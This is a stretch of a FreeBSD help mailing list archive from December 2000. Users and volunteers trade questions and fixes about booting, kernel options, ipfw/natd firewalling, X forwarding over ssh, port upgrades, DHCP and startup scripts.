> if not, you might use some other tool, say, Norton Dist Editor.
> If you don't have one - go back to the floppies. If you got you
> FreeBSD boot, then you could run /stand/sysinstall right there and
> what what i said. You could also try switching the first boot
> device in the BIOS (make it D:) and see what happens.
> 
> ----- Original Message ----- 
> From: "vinod thomas" <cyberdude7791@yahoo.com>
> To: "Artem Koutchine" <matrix@ipform.ru>
> Sent: Sunday, December 17, 2000 9:36 PM
> Subject: Re: booting problem
> 
> 
> > dear sir,
> >           but theres another problem- i dont have the
> > freebsd cd now.could u give me another alternative or
> > a site in the web where i could download the necessary
> > files required for it.
> > if so kindly specify the files and the site where i
> > could download it.
> >        thanking you for your advice
> >                                     regards,
> >                                      vinod
> > 
> > 
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> 
> 
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Hi!
following section 22 of the handbook I added some config options I
just invented to guard some ad-hoc code I inserted in some kernel files
for RELEASE-4.1.1. All the options go to opt_navi.h. The config program
accepts this options and produces the apropriate opt_navi.h file in the
compile directory. But when I run "make buildkernel" it fails at the
first kernel file that references opt_navi.h (#include "opt_navi.h")
saying
"no such file or directory".

Analyzing the output of the make buildkernel job I'd realized that the
problem is the -I statements for the mkdep command where the trouble
file is processed. These statements do not reference the directory where
the opt_*.h files are. The handbook does not mention this case. Please
help.

The output of the job is as follows,

#make buildkernel KERNEL=NAVI

--------------------------------------------------------------
>>> Rebuilding kernel(s)
--------------------------------------------------------------
===> NAVI
mkdir -p /usr/obj/usr/home/oscar/FreeBSD4/src/sys
...
...
...
===> xl
@ -> /usr/home/oscar/FreeBSD4/src/sys
machine -> /usr/home/oscar/FreeBSD4/src/sys/i386/include
touch opt_bdg.h
perl @/kern/makedevops.pl -h @/kern/device_if.m
perl @/kern/makedevops.pl -h @/kern/bus_if.m
perl @/kern/makedevops.pl -h @/pci/pci_if.m
perl @/kern/makedevops.pl -h @/dev/mii/miibus_if.m
rm -f .depend
mkdep -f .depend -a   -nostdinc -D_KERNEL -DKLD_MODULE -I- -I. -I@
-I@/../include -I/usr/obj/usr/home/oscar/FreeBSD4/src/i386/usr/include 
/usr/home/oscar/FreeBSD4/src/sys/modules/xl/../../pci/if_xl.c
/usr/home/oscar/FreeBSD4/src/sys/modules/xl/../../pci/if_xl.c:4:
opt_navi.h: No such file or directory
mkdep: compile failed
*** Error code 1

Stop in /usr/home/oscar/FreeBSD4/src/sys/modules/xl.
*** Error code 1

Stop in /usr/home/oscar/FreeBSD4/src/sys/modules.
*** Error code 1

Stop in /usr/obj/usr/home/oscar/FreeBSD4/src/sys/NAVI.
*** Error code 1

Stop in /usr/home/oscar/FreeBSD4/src.
*** Error code 1

Stop in /usr/home/oscar/FreeBSD4/src.


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On Sun, Dec 17, 2000 at 08:58:27AM -0500, Alwyn Goodloe wrote:
> Crist,
> 
>  THanks for your advise. The crossover cable thing fixed most of the
> problems - I can ping and telnet between two machines for example. I seem
> to forget about those crossover cables about every two years -- advancing
> age.....
> 
>  I'm not sure why you say I don't need routed, isn't that necessary to 
> do routing.

No. All machines connected to a network do simple routing and most do
(or should) not be running a routing daemon.

> This is needed in the experiment since I need to mimic a real 
> environment even though I only have three machines and only one acts
> as a router.  I was under the impression that I needed to have
> the following in rc.conf
> gateway_enable ="YES"

Yes. This enables the system to forward packets.

> router_enable="YES"
> router="routed"
> router_flags="-s"

No. No. No.

> I guess for something this trivial I don't need to do much with respect to
> the routing tables.Are you saying that I don't should have gateway_enable
> = "YES" and router_enable="YES" (or should this be "NO"). The important
> thing is that I need to route between different networks and have the
> firewall software be able to filter and divert packets.

You need routed(8) if:

  1) Your routes are dynamic. That is, they change with time and they
     change without operator intervention.

  2) There are other devices on your network that talk RIP and your
     machine needs to talk to them.

Both of these are true. From your description, neither of these is
true. You have no additional routes to add beyond the simple ones
ifconfig(8) will do for you, and there are no other routers on the
network for your machine to talk to. You don't need routed.
-- 
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Otter wrote:

> ...but I want *THAT* one!

	We don't always get what we want.


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Mike,

thanks, but...

> You don't need a BSD boot floppy to install a boot loader - unless
> there's some factor you haven't mentioned.

As I tried to hint at in the previous post, I have to tell the BIOS to boot
off the 2nd disk.  When I do so, FreeBSD doesn't properly recognize /dev/ad0
(apparently /dev/ad0 doesn't get initialized properly while the other drive).
Why, I don't know, it is recognized any other way, so, I need to build a boot
disk.

What do I need to put on the boot floppy? (or is it already of the fixit
floppy?)

> To install the standard
> boot manager, you use boot0cfg. You can install it from a running BSD
> system. You install it on disk 0 (which should be /dev/ad0 for IDE and
> /dev/da0 for SCSI) with a command like "/usr/sbin/boot0cfg -B
> /dev/ad0". Some peoople install on both disks, so that F1 boots the
> current disk, and F2 switches to the boot menu from the other
> disk. For details see the boot0cfg man page.

Thanks, that's what I was looking for.  So, now I just need to find out what
to do to get this done after booting from a floppy.

Cheers,
Chris

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Christian Kuhtz <ck@gnu.org> types:
> > You don't need a BSD boot floppy to install a boot loader - unless
> > there's some factor you haven't mentioned.
> As I tried to hint at in the previous post, I have to tell the BIOS to boot
> off the 2nd disk.  When I do so, FreeBSD doesn't properly recognize /dev/ad0
> (apparently /dev/ad0 doesn't get initialized properly while the other drive).
> Why, I don't know, it is recognized any other way, so, I need to build a boot
> disk.

Ah, that makes sense. The BIOS may be hiding ad0 because Windows can't
boot from anything boot drive 0.

> What do I need to put on the boot floppy? (or is it already of the fixit
> floppy?)

If you've already got the install floppies, you can do this from the
install system; it will write the boot sector for you.

Or you can boot to the fixit disk, and if boot0cfg isn't on it, mount
the BSD system on ad1 and use boot0cfg from there.

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Hi,

Can somebody help me on this?

I'd like to have my local xterm to be able to run 
application from other UNIX machine (sun) and display
it on my local machine.

My friend told me that I just need to run "xhost +" on
local machine, telnet to the remote machine and run
the apps.

I did that and verify that the DISPLAY is pointing to
my local machine. It complain "Cannot connect to X
server ....."

Do I miss something? 

any pointer or help would be greatly appreciated.

Thanks
Wahyudi Gunawan

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Kevin Oberman wrote:
> 
original post snipped>

> Sure. Just boot into single-user mode and re-edit the file. (Single
> user mode will default to sh as the shell.)

May I ask a simple question here?
How does one boot into single-user mode?
See, painless, eh?

Thanks

timo

ps.  FWIW, I promise never to change my root shell until I
know what I'm doing...and that'll be a _long_ time from now.


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> May I ask a simple question here?
> How does one boot into single-user mode?
> See, painless, eh?

shutdown now (when going from multi user to single user)
 or
boot -s (when the machine has started at the command prompt)

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On Fri, Dec 15, 2000 at 07:00:39PM -0000, Steven wrote:

[...]

> ahha! I'm aware of this, but simply editting this file does not help as I
> wish for people not to see the version number of fbsd, and at boot time this
> is inserted by the operating system. Is there a way of turning this off or
> is the best way to do it getting an rc file to copy my copy over the current
> /etc/motd?

In 4.2, you can put in the line

	update_motd="NO"

in /etc/rc.conf
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[Please wrap your lines at or before 80 columns, thanks.  I've
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On Monday, December 18, 2000, Brian wrote:
> It hasn't been specified which type of filesystem FreeBSD
> shoudl be installed onto. I am currently equipped with a Fat32,
> Linux (primary) and Linux (swap) partitions on my computer. Is
> it at all possible to install FreeBSD onto the Linux partition
> or would i need to change it to something else?

   This should be posted to -questions (moved there), but FreeBSD
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I have a question in regards to a couple ipfw rules that i have setup.

A little explanation info:
box a: freebsd box running ipfw/natd/iplog and basically, nothing else. 
Interfaces fxp0 (cable) and fxp1(internal)
box b: freebsd box running apache and a few other services.
box c: windows box.

Recently I decided that I wanted to be able to access the apache server on 
box b, from box c, via the cable ip address on box a. I tried a ton of 
different rules, and finally have something that seems to work. However, I 
dont understand why it works, and why it has to be *EXACTLY* like this:

00020 divert 8668 ip from 192.168.0.0/24 to xxx.xxx.xxx.xxx via fxp1
00020 divert 8668 ip from 192.168.0.0/24 to 192.168.0.0/24 via fxp1
(xxx.xxx.xxx.xxx = cable static ip)

If either rule is missing, it wont work. If i change the 192.168.0.0/24 to 
the internal address of box c, it wont work. If both rules are not the same 
number (in this case 00020), it wont work. If the rule listed second here, 
is entered in first, it wont work. It has to be just like its shown, in 
that order, or it doesnt work.

Could someone please explain to me what the heck is making it work?

TIA

-jaid 



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> I'd like to have my local xterm to be able to run 
> application from other UNIX machine (sun) and display
> it on my local machine.
> 
> My friend told me that I just need to run "xhost +" on
> local machine, telnet to the remote machine and run
> the apps.
> 
> I did that and verify that the DISPLAY is pointing to
> my local machine. It complain "Cannot connect to X
> server ....."

What else does it say?  Exact error messages help.  From the limited
information you did supply, the only thing I can think of would be to
make sure that the remote host can establish connections to the local
host.  In other words, make sure the local host isn't subject to any
address translation (NAT).

The approach you described, however, is suboptimal at best.  First,
you're using telnet--that can't be good.  Second, "xhost +"
effectively allows *any* host to display *anything* on your screen.
That might be okay if you're on an isolated network, but is generally
unacceptable on today's Internet.  A better solution would be to use
SSH and its TCP/X forwarding capabilities.  A typical session would
look like:

  localhost% ssh -X remotehost xterm

If both the local and remote hosts are configured to do X forwarding,
and the DISPLAY environment variable is set when you run ssh, it will
set up a corresponding entry on the remote host.  This allows for an
encrypted tunnel to run your X clients through.

My description of the ssh X forwarding method is overly simplistic.
It is meant to give you a general idea of what can be done.  If you
want to use it, please read the ssh(1) and sshd(8) manual pages.

Hope this helps

						Dima Dorfman
						dima@unixfreak.org


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If I want to upgrade a port, apache for example, what is the best way
to proceed?  

I could 'make deinstall' in the old port, before using cvsup to update
my ports.  However, although I can do this for one port, I'm not going
to do it for every installed port, every time I update the collection.
So some will get left out.

If I just cvsup my ports, and make install, then will there be
leftover binaries from the old version kicking around on my server?
Will the pkg database be accurate?  

Thanks.

-Brent


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I see from sys/dev/ata/atapi-tape.c that the OnStream DI-30 15GB IDE
tape drive is supported.  Is it any good?  OnStream describe it as
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Whenever I run qcread, I get the following error:

 qcread: Image setup failed

I plugged in the parallel port and keyboard connectors.  Does anyone know
what this error is indicitive of?  (eg no power)?

Rudy

Here is my dmesg:
ppc0: <Parallel port> at port 0x378-0x37f irq 7 on isa0
ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode
ppc0: FIFO with 16/16/16 bytes threshold
ppbus0: IEEE1284 device found /ECP
Probing for PnP devices on ppbus0:
ppbus0: <Logitech QuickCam Pro> MEDIA
ppi0: <Parallel I/O> on ppbus0
lpt0: <Printer> on ppbus0
lpt0: Interrupt-driven port

And here is my qcam.conf:
port    0x378   # /dev/lp1, the first printer port
porttype bidirectional
direction up
width   160
height 120
yoffset 0
xoffset 0
transfer 1
bpp     24      # 24-bit colors (color only)
brightness 180
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I am wondering if I can set up a fbsd4.0 machine as a dhcp server
for my home network? I have the Complete FreeBSD, but it doesn't 
cover this topic, the FreeBSD Handbook also ignores it. The
FreeBSD
Diary web site does not say anything about it either. This makes 
me wonder if it is possible? I have 10 computers here at home,
this
would just make things a bit easier when setting up new machines.
Thanks,

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Hello,
I'm Claudio from Pisa (Italy).
I have a problem with my new PC.

This is its configuration:
- processor: AMD ATHLON 800 Mhz Thunderbird
- motherboard: ASUS A7v Apollo kt133 ata100
- HD: IBM EIDE DTLA 307030 ata100

The software for the installation of FreeBSD4.4 (& also of
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Hi Shon,

I'm not sure where you read that the FA311 is compatable with FreeBSD, but
in my experience it is not. According to Netgear, the FA312 is definitely
not supported, and the FA311 uses the same chipset. The FA310 is supported
through the dc driver, however. Essentially the 310 has the same features,
so you may want to buy one--- they're only $20.

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On Sun, 17 Dec 2000, Brent Kearney wrote:
> 
> If I want to upgrade a port, apache for example, what is the best way
> to proceed?  

	Use package delete on the registered package (installed ports are 
registered as packages). Others have said that works better than make
deinstall'ing the port.  Then rebuild the port.

> 
> I could 'make deinstall' in the old port, before using cvsup to update
> my ports.  However, although I can do this for one port, I'm not going
> to do it for every installed port, every time I update the collection.
> So some will get left out.
> 
> If I just cvsup my ports, and make install, then will there be
> leftover binaries from the old version kicking around on my server?
> Will the pkg database be accurate?  

	Yes you need to use pkg_delete to get rid of as much as you can.
Some will not get deleted.  I think the only way to get around that is to
delete the remnants that are reported by the pkg_delete command by hand.
	There was discussion on this a month ago and the consensus was
there is currently no automated way to update your installed ports.  No
operating system has this that I know of.
	You'll have to save the output of pkg_info to a file and go
through, pkg_delete them and then cvsup your ports and build each port.
To use pkg_delete you'll have to also look at what is dependent on what.
If you try to delete a pakcage that is depended on by something else, it
will tell you what those are.  Then you'll have to delete those first and
continue the process recursively until all the packages you want to
upgrade are gone.  Unfortunately when it tells you a package is depended
upon by others I don't think the listing is in the order that they need to
be removed in.
	You could work on scripting this and if you did I'm sure others
would be interested and perhaps it could be worked into FreeBSD as a
feature.  If there were a central application that could monitor all
ports/packages installed, tell you when there were new versions, and
upgrade them correctly, that would really put FreeBSD ahead.  If the
dependency lists were able to be put in order that would help in this
effort.
	Hopefully others will correct any errors I made,
	
							Tim 


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> 
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Hello Folks,

I am using FreeBSD 4.2 o´n my Desktop which only has a modem connection to
my local ISP for Internet Access. I am right now looking for a replacement
for sendmail. I have three mail accounts with different providers which are
accessed using the POP3 protocol, so there is really no need to use
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----- Original Message -----
From: "Chris Dillon" <cdillon@wolves.k12.mo.us>
To: "Allen Lynch" <levothyroxine@hotmail.com

> RPM isn't used because the RPM system sucks.  FreeBSD has a superior
> packaging and ports system, and it uses it.

I have always wondered why FreeBSD claims that the Ports System is superior
to the RPM packaging system used in most of the Linux flavors. Basically,
from my point of view, both should provide similar features with regards to
Dependancy checking etc. .
Could anyone point out what makes the Ports collection better than Linux RPM
?

Regards

Christian



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I know this may sound a tad cirular, but has anyone successfully run the
Linux DOSEmu port under FreeBSD? I have a particular program, a 68HC11
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I understand from my reading that DOSEmu supports serial ports, and will
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> I am wondering if I can set up a fbsd4.0 machine as a dhcp server
> for my home network? I have the Complete FreeBSD, but it doesn't
> cover this topic, the FreeBSD Handbook also ignores it. The
> FreeBSD
> Diary web site does not say anything about it either. This makes
> me wonder if it is possible? I have 10 computers here at home,
> this
> would just make things a bit easier when setting up new machines.

Yes, see:
/usr/ports/net/isc-dhcp2
I just used the example config and the man pages for setup, they seemed to
be pretty straight forward.

- Matt



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On Sun, Dec 17, 2000 at 11:46:52PM +0100, Christian Flügel wrote:
> Hello Folks,
> 
> I am using FreeBSD 4.2 o´n my Desktop which only has a modem connection to
> my local ISP for Internet Access. I am right now looking for a replacement
> for sendmail. I have three mail accounts with different providers which are
> accessed using the POP3 protocol, so there is really no need to use
> something as complex as sendmail.

And since sendmail does not know anything about POP3...

> So I am looking for a simpler replacement
> which allows me to fetch my mail from my accounts using ppp before
> processing it with my local mail reader. I do need nothing more. Does anyone
> recommend something?

  /usr/ports/mail/fetchmail

-- 
Crist J. Clark                           cjclark@alum.mit.edu


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> I am wondering if I can set up a fbsd4.0 machine as a dhcp server
> for my home network?

Yes.

See /usr/ports/net/isc-dhcp2 for a DHCP server
See /usr/ports/net/dhcpconf for a DHCP server configuration tool.

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> I could 'make deinstall' in the old port, before using cvsup to update
> my ports.  However, although I can do this for one port, I'm not going
> to do it for every installed port, every time I update the collection.
> So some will get left out.
>
> If I just cvsup my ports, and make install, then will there be
> leftover binaries from the old version kicking around on my server?
> Will the pkg database be accurate?

If you cvsup and then 'make install' for ports that are already installed,
you may get parts and pieces of older versions kicking around on your
server.

Since the package database identifies products by their name and version,
you can use pkg_delete to remove the old version, then do 'make install' to
install the new version.  (Do NOT do a pkg_delete after you've installed the
new version, since it may remove identically-named files from the new
version.)

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I am unable to boot into my FreeBSD system and do not know what to do so 
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let me begin by saying i am somewhat familiar w/BSD, but i am no guru.  i
have accomplished the basic
things i want to learn : user & group management, text editors, cvs,
compiling and upgrading.  and now i
am trying to figure out ip aliasing.  

i have 2 nics in my 4.2-R machine one is an SMC 1211 (rl0) and a 3com 905
(xl0) the 3com is my 
internal nic and the 1211 gets me out through a cable modem.  my hub feeds
only the 3com, the 1211 is
direct to the modem.

i am able to ping my BSD from my laptop 192.168.0.1  from 192.168.0.2 and
vice-versa.  i have made sure
that natd starts.  i have added the following...

to /etc/rc.conf

gateway_enable="YES" 
defaultrouter=(my isp's preassigned gateway for me)
natd_enable="YES"
natd_interface="rl0"
firewall_enable="YES"
firewall_type="simple"

*note - i have set my ip statically 

to /etc/rc.firewall

/sbin/ipfw -f flush
/sbin/ipfw add divert natd all from any to any via rl0
/sbin/ipfw add pass all from any to any

i have changed my ip's and mask add's in all appropriate places (i think) 

i watch activity lights on my hub and modem and i can see that when i try
to ping my isp's gateway
from my other machine it looks like my modem is xmitting and recieving, but
nothing comes through
the hub i don't know

i would like to know how i can test xmit and recieve between the xl0 and
the rl0 and then where else
are there natd rules 

HELP!!!!!!!!!!!!!!!!!!!!!
i'm getting frustrated 



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Hello!
I purchased FreeBSD from Walnut Creek CDrom -- version 4.x.
I am installing on a RAID 10 array of 4 45gig drives using a 3ware
Escalade 6000
the command on the screen (visual mode) is:
Doing newfs -b 8192 -f 1024 /mnt/dev/rtwed0s1f

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Dual Xeon 450 2MB, 512MB ECC
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did you recompile your kernel with 

options IPFIREWALL
options IPDIVERT



you need these for anything to work right. I would also check to be sure
your netmasks are set properly on the 192.168.0 network. 

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As you can tell from this question, I am a newbie.  Anyway, I'm trying to
find the correct command to extract
/usr/home/tomlinson_dr/download/dynip_3.00.tar to the same directory.  The
command I'm using is a follows:

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I've read the man page and know that /dev/rsa0 is the default device but I
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Thus spake Tomlinson, Drew (Drew.Tomlinson@lc.ca.gov):

> tar x dynip_3.00.tar
> tar: can't open /dev/rsa0 : Device not configured
> 
> I've read the man page and know that /dev/rsa0 is the default device but I
> can't understand how to tell it that I want to use this tarball on my hard
> drive.  I tried searching the archives but they are offline at the moment.

Use the 'f' option to tell tar you're working on a file, eg:

tar xv dynip_3.00.tar


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Thus spake Nick Slager (nicks@albury.net.au):

> Use the 'f' option to tell tar you're working on a file, eg:
> 
> tar xv dynip_3.00.tar

Ooops...

Try 'tar xvf dynip_3.00.tar'


*damn*



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Christian Flügel wrote:

> ----- Original Message -----
> From: "Chris Dillon" <cdillon@wolves.k12.mo.us>
> To: "Allen Lynch" <levothyroxine@hotmail.com
> 
> 
>> RPM isn't used because the RPM system sucks.  FreeBSD has a superior
>> packaging and ports system, and it uses it.
> 
> 
> I have always wondered why FreeBSD claims that the Ports System is superior
> to the RPM packaging system used in most of the Linux flavors. Basically,
> from my point of view, both should provide similar features with regards to
> Dependancy checking etc. .
> Could anyone point out what makes the Ports collection better than Linux RPM

I actually like both systems, and they both have their advantages. Ports 
are better at handling dependencies. They will go out and get anything 
that is required. RPM will only tell you that a file is missing, but it 
will not tell you where that file can be obtained.

I find upgrading RPMs to be a little easier then ports, but that may 
just be personal bias because I have used them longer. One major problem 
with RPM is that the RPM database which keeps track of what is installed 
on the system does tend to be fragile. If it gets corrupted, then the 
odds are good that you will never have an easy rpm install or upgrade again.

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Not too long ago, I had compiled, installed, and run successfully
XFree86 4.1.0 on FreeBSD 4.0.1.  This weekend I set up another box, this
time with FreeBSD 4.1.1.  After compiling and installing XFree86 4.0.1
on this box, I get the following error when I run "XFree86 -configure:"

--------------
hrothgar# /usr/X11R6/bin/XFree86 -configure

XFree86 Version 4.0.1 / X Window System
(protocol Version 11, revision 0, vendor release 6400)
Release Date: 1 July 2000
        If the server is older than 6-12 months, or if your card is
newer
        than the above date, look for a newer version before reporting
        problems.  (see http://www.XFree86.Org/FAQ)
Operating System: FreeBSD 4.1.1-RELEASE i386 [ELF] 
Module Loader present
(==) Log file: "/var/log/XFree86.0.log", Time: Mon Dec 18 00:21:31 2000
(--) Using syscons driver with X support (version 2.0)
(--) using VT number 9


Fatal server error:
xf86EnableIO: Failed to open /dev/io for extended I/O


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This can be found in the log file "/var/log/XFree86.0.log".

hrothgar# 

-----------------
This box uses EXACTLY the same hardware as my FreeBSD 4.0.1 box
(including 3dfx Voodoo 2 3000 PCI video card).  Any ideas as to what the
problem might be?

TIA
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On 2000.12.17 23:53:53 +0000 Kenneth Wayne Culver wrote:
> did you recompile your kernel with 
> 
> options IPFIREWALL
> options IPDIVERT
> 
> 
> 
> you need these for anything to work right. I would also check to be sure
> your netmasks are set properly on the 192.168.0 network. 
> 
> Ken
> 
ok i did not add those 2 options to my kernel, but i did just now and i got
an error when i compile

it says ...

ip_divert.o:In function 'div_init':
/usr/src/sys/compile/CHEROKEE/../../netinet/ip_divert.c(.data+0x20):
undefined reference to 'sysctl__net_inet_divert_children'
***Error code 1

i assume this means that IPDIVERT is an unknown function
> 



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Thanks for the help!

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Thus spake Nick Slager (nicks@albury.net.au):

> Use the 'f' option to tell tar you're working on a file, eg:
> 
> tar xv dynip_3.00.tar

Ooops...

Try 'tar xvf dynip_3.00.tar'


*damn*



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I have just installed some new software but when I attempt to run it,
the file is not found.  As I recall, there is something that reads the
"paths" (is this the correct term?) when the system is started.  So
short of rebooting (I'm trying to get away from M$ practices) how can I
get my system to re-read the "paths" and find my new software?

Thanks!

Drew

P.S.  I've tried the archives but they are apparently down at the
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On Sun, 17 Dec 2000, Drew Tomlinson wrote:

> I have just installed some new software but when I attempt to run it,
> the file is not found.  As I recall, there is something that reads the
> "paths" (is this the correct term?) when the system is started.  So
> short of rebooting (I'm trying to get away from M$ practices) how can I
> get my system to re-read the "paths" and find my new software?


rehash


Dru



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[in reply to dougy@bryden.apana.org.au, 18-12-2000]

> I've installed ntop on two different machines ..... a 4.0 RELEASE where it appears to work fine, and a 4.1 RELEASE where it works in interactive (command line) mode but when I try starting in web
> mode (ntop -w) I get 
> "-w mode is disabled for security reasons"

I don't know about this one; maybe in the new version the .ntop file is
mandatory. In this file you should specify the passwords for the web
interface. If I recall correctly, it has to be in this format:
username <tab> password
username2 <tab> password2
etc.

You might want to check out the ntop homepage: http://www.ntop.org/

> The only peculiarity I saw when installing from ports in both cases was
> something about "lsof missing (whatever that is) so some functions will
> be disabled"

lsof is a utility to list open files/sockets. It isn't in the base
system; you can get it from the ports collection if you have that (cd
/usr/ports/sysutils/lsof; make install) or do it with sysinstall..

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[in reply to penguinjedi@home.com, 17-12-2000]

>> options IPFIREWALL
>> options IPDIVERT
> ok i did not add those 2 options to my kernel, but i did just now and i got
> an error when i compile

I believe you should add this as well:

options         IPFIREWALL_FORWARD

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On 2000.12.18 01:10:58 +0000 Walter W. Hop wrote:
> [in reply to penguinjedi@home.com, 17-12-2000]
> 
> >> options IPFIREWALL
> >> options IPDIVERT
> > ok i did not add those 2 options to my kernel, but i did just now and i
> got
> > an error when i compile
> 
> I believe you should add this as well:
> 
> options         IPFIREWALL_FORWARD
> 

i'm sure we're on the right path here, but i'm still getting the same error
message
by the way, i have 2 machines for now on my internal network and then i
have my BSD box, my
subnet for the 192.168.0.1/2/3 addresses should be 255.255.255.0 right?



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I have added a program to my system and would like it to start
automatically upon boot.  I'm sure it's as simple as adding the program
name to some startup script but I don't know where that would be.  So
what file do I need to modify?

Thanks for your help!

Drew



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On 2000.12.18 01:17:02 +0000 Drew Tomlinson wrote:
> I have added a program to my system and would like it to start
> automatically upon boot.  I'm sure it's as simple as adding the program
> name to some startup script but I don't know where that would be.  So
> what file do I need to modify?
> 
> Thanks for your help!
> 
> Drew
> 
> 
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add to /etc/rc before the exit 0 line



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	Hi, does anybody know anything about the scilab port?  Has it just
not been updated?  When I try to build the port it quickly dies with:

>> Attempting to fetch from
ftp://ftp.inria.fr/INRIA/Projects/Meta2/Scilab/distributions/.
fetch: scilab-2.4.1-src.tar.gz: File unavailable (e.g., file not found, no
access)
>> Attempting to fetch from
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/distfiles/. fetch:
scilab-2.4.1-src.tar.gz: File unavailable (e.g., file not found, no
access)
>> Couldn't fetch it - please try to retrieve this
>> port manually into /usr/ports/distfiles/ and try again.
*** Error code 1
...

	And checking the ftp server,
ftp://ftp.inria.fr/INRIA/Projects/Meta2/Scilab/distributions   they do not
seem to have the version that the port wants.  Any info would be
appreciated.

							Tim



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hi, /etc/rc.local



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>I have added a program to my system and would like it to start
>automatically upon boot.  I'm sure it's as simple as adding the program
>name to some startup script but I don't know where that would be.  So
>what file do I need to modify?
>
>Thanks for your help!
>
>Drew
>
>
>
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Some of us don't have /etc/rc.local floating around on our drives. You
can make scripts that start up as an .sh script in
/usr/local/etc/rc.d/
-Otter


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}hi, /etc/rc.local
}
}
}
}At 05:17 PM 12/17/2000 -0800, Drew Tomlinson wrote:
}>I have added a program to my system and would like it to start
}>automatically upon boot.  I'm sure it's as simple as adding
}the program
}>name to some startup script but I don't know where that
}would be.  So
}>what file do I need to modify?
}>
}>Thanks for your help!
}>
}>Drew
}>
}>
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isn't "rehash" just a csh command? or does it work on all shells?
-Otter


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}> I have just installed some new software but when I attempt
}to run it,
}> the file is not found.  As I recall, there is something
}that reads the
}> "paths" (is this the correct term?) when the system is started.  So
}> short of rebooting (I'm trying to get away from M$
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or if you choose to use ssh, go check out:
http://www.defcon1.org/x11ssh.html
-Otter


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}From: owner-freebsd-questions@FreeBSD.ORG
}[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Dima Dorfman
}Sent: Sunday, December 17, 2000 5:11 PM
}To: Wahyudi Gunawan
}Cc: freebsd-questions@FreeBSD.ORG
}Subject: Re: Cannot connect to X server
}
}
}> I'd like to have my local xterm to be able to run
}> application from other UNIX machine (sun) and display
}> it on my local machine.
}>
}> My friend told me that I just need to run "xhost +" on
}> local machine, telnet to the remote machine and run
}> the apps.
}>
}> I did that and verify that the DISPLAY is pointing to
}> my local machine. It complain "Cannot connect to X
}> server ....."
}
}What else does it say?  Exact error messages help.  From the limited
}information you did supply, the only thing I can think of would be to
}make sure that the remote host can establish connections to the local
}host.  In other words, make sure the local host isn't subject to any
}address translation (NAT).
}
}The approach you described, however, is suboptimal at best.  First,
}you're using telnet--that can't be good.  Second, "xhost +"
}effectively allows *any* host to display *anything* on your screen.
}That might be okay if you're on an isolated network, but is generally
}unacceptable on today's Internet.  A better solution would be to use
}SSH and its TCP/X forwarding capabilities.  A typical session would
}look like:
}
}  localhost% ssh -X remotehost xterm
}
}If both the local and remote hosts are configured to do X forwarding,
}and the DISPLAY environment variable is set when you run ssh, it will
}set up a corresponding entry on the remote host.  This allows for an
}encrypted tunnel to run your X clients through.
}
}My description of the ssh X forwarding method is overly simplistic.
}It is meant to give you a general idea of what can be done.  If you
}want to use it, please read the ssh(1) and sshd(8) manual pages.
}
}Hope this helps
}
}						Dima Dorfman
}						dima@unixfreak.org
}
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On Sun, Dec 17, 2000 at 08:20:40PM +0000, Moses Backman III wrote:
> 
> On 2000.12.18 01:17:02 +0000 Drew Tomlinson wrote:
> > I have added a program to my system and would like it to start
> > automatically upon boot.  I'm sure it's as simple as adding the program
> > name to some startup script but I don't know where that would be.  So
> > what file do I need to modify?
> > 
> > Thanks for your help!
> > 
> > Drew
> > 
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> add to /etc/rc before the exit 0 line

You should NOT edit /etc/rc.

You can create an /etc/rc.local to run your program at boot, but there
may be a better solution still, depending on exactly what you are trying
to start.  What are you trying to do, exactly?  What program do you
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> I know this may sound a tad cirular, but has anyone successfully run the
> Linux DOSEmu port under FreeBSD? I have a particular program, a 68HC11
> debugger, that only runs in DOS. It appears to only need access to a RS232
> port and console. I tried bochs, but it doesn't seem to find any serial
> ports, and the documentation isn't clear on if they are supported, or how
> to enable them if they are.
>
> I understand from my reading that DOSEmu supports serial ports, and will
> run at console, rather than in X. That would make it ideal, as I could run
> "DOS" on my dumb serial terminal. What I don't know, is how to compile
> linux binaries under the emulation layer.

Install the linux_base port under emulation, then you'll have a Linux GCC.





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Furthermore, I believe someone (authoritative) mentioned a while ago on the
list that /etc/rc.local has been deprecated in favour of /usr/local/etc/rc.d
since the early days of 3.x, perhaps before.

--
Matt Emmerton

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> Some of us don't have /etc/rc.local floating around on our drives. You
> can make scripts that start up as an .sh script in
> /usr/local/etc/rc.d/
> -Otter
>
>
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> }hi, /etc/rc.local
> }
> }
> }
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I've had this idea kicking around for some time, so I decided I would =
throw it out there and see if anyone was interested or had any ideas.

I'm wondering why we can't write basic DOS emulation as a KLD.  DOS =
programs are x86 code, a majority of it usually doing basic mundane =
(userland acceptable) things.  The only problems would come about when =
interrupts were called and system memory locations were written to.  It =
is my understanding that under x86-32 virtual machines, such =
instructions are "illegal" and therefore caught by the OS's virtual =
machine driver, and emulated.  I think for basic int 21h services, and =
BIOS keyboard and text functions, this wouldn't be that difficult to do, =
and would allow simple text based DOS programs to run under FreeBSD.  =
The DOS programs would see the file system in an 8.3 format, case =
insensitive, and would be able to use and save files without any real =
major modification.  The same way VFAT handles long file names, DOS =
could handle FFS file names (eg: alongfilename.txt becomes =
alongf~1.txt).  With the file system emulated, the basic interrupts =
caught and emulated, and everything else stubbed, many simple dos =
programs would function under FreeBSD.  For example, although of course =
we have midnight commander, there is no real reason why the original =
Norton Commander could not run under FreeBSD.  I'm not suggesting NC =
would be better than MC, but what I am suggesting is that a simple =
program like NC, which writes to the screen and manages files, should =
have no problem running in the BSD environment.  I know there are =
emulation programs available in ports, but I was thinking along the =
lines of a KLD, which is automatically loaded when a DOS exe file is =
executed from the prompt.  I'm going to look into this, and maybe with =
some help, draft a simple implementation to see if it's feasible.

Any comments or suggestions welcome.


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machine=20
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keyboard and text functions, this wouldn't be that difficult to do, and =
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although of=20
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to look=20
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On Sun, 17 Dec 2000, Otter wrote:

> isn't "rehash" just a csh command? or does it work on all shells?
> -Otter


Yes. But the original poster didn't say he had changed the default
csh/tcsh shell for root to something else. If he had just installed
software, he did it as root from root's shell  :)

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On Sun, 17 Dec 2000, Dru wrote:
> On Sun, 17 Dec 2000, Otter wrote:
> 
> > isn't "rehash" just a csh command? or does it work on all shells?
> > -Otter
> 
> 
> Yes. But the original poster didn't say he had changed the default
> csh/tcsh shell for root to something else. If he had just installed
> software, he did it as root from root's shell  :)


	And csh (and tcsh) are the only ones that keep the hash table of
commands.  The others just search through the path.  As I was informed the
last time I asked about rehash, csh maintains this hash table to make
command execution slightly more efficient by speeding the finding of the
executeable.  Other shells don't do this.

						Tim



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Hi There,

I'm hoping soneone can help me with sound card configuration:

